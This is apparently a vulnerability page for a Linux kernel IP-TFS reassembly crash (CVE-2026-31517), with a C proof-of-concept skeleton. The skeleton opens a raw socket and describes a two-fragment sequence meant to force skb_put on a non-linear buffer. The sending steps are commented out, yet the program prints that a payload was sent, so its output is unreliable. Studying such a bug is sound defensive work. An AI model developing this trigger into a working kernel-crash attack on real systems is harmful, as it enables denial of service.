Linux内核IP-TFS模块skb_put崩溃漏洞(CVE-2026-31517)

/* * PoC Concept for CVE-2026-31517 * This code attempts to trigger the IP-TFS reassembly panic. * It requires a system with IP-TFS configured and active. * The PoC sends a sequence of fragmented packets where the first * triggers zero-copy (non-linear) and the second triggers the slow path. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/socket.h> #include <linux/ip.h> // Note: Actual trigger requires specific IP-TFS encapsulation and protocol handling. // This is a structure to represent the logic of sending crafted fragments. int main() { int sock; char buffer[1024]; struct sockaddr_in dest_addr; // Create raw socket (requires root/capabilities) sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sock < 0) { perror("Socket creation failed"); return 1; } dest_addr.sin_family = AF_INET; dest_addr.sin_port = 0; inet_pton(AF_INET, "127.0.0.1", &dest_addr.sin_addr); printf("[+] Sending crafted fragments to trigger skb_put panic on non-linear skb...\n"); // Fragment 1: Designed to trigger zero-copy path in iptfs_reassem_cont // making the skb non-linear. // send_crafted_fragment(sock, ...); // Fragment 2: Designed to hit the slow path, forcing skb_put() on the // non-linear skb created by Fragment 1. // send_crafted_fragment(sock, ...); printf("[+] Payload sent. Check kernel logs for panic/Oops.\n"); close(sock); return 0; }